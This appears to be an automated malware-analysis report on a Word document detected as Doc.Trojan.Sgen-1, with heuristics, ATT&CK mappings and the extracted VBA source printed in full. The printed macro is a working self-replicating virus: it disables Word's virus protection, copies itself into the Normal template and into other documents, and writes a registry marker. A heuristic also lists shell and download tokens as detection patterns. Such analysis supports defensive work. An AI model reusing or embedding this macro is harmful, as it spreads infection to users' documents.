MALICIOUS
228
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains a VBA macro with an AutoClose subroutine that attempts to kill and export the macro code to temporary files, then potentially re-import them. It also writes a value to the registry under HKEY_CURRENT_USER\sGen, indicating an attempt to establish persistence or modify system behavior. The ClamAV detection 'Doc.Trojan.Sgen-1' further supports its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Sgen-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Sgen-1
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 955 bytes |
SHA-256: e319ac382137bceeceb90207d43ab82944296b27cb3bf2af89d0c55ccb2e84c0 |
|||
|
Detection
ClamAV:
Doc.Trojan.Sgen-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "sGen"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = 0
Kill ("c:\windows\nt.txt")
Kill ("c:\windows\ad.txt")
NormalTemplate.VBProject.VBComponents.Item("sGen").Export ("c:\windows\nt.txt")
ActiveDocument.VBProject.VBComponents.Item("sGen").Export ("c:\windows\ad.txt")
If Dir("c:\windows\ad.txt") = "" Then ActiveDocument.VBProject.VBComponents.Import "c:\windows\nt.txt"
ActiveDocument.SaveAs ActiveDocument.FullName
If Dir("c:\windows\nt.txt") = "" Then NormalTemplate.VBProject.VBComponents.Import "c:\windows\ad.txt"
NormalTemplate.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\", "sGen") = "f0re's Macro Contest Contribution !"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.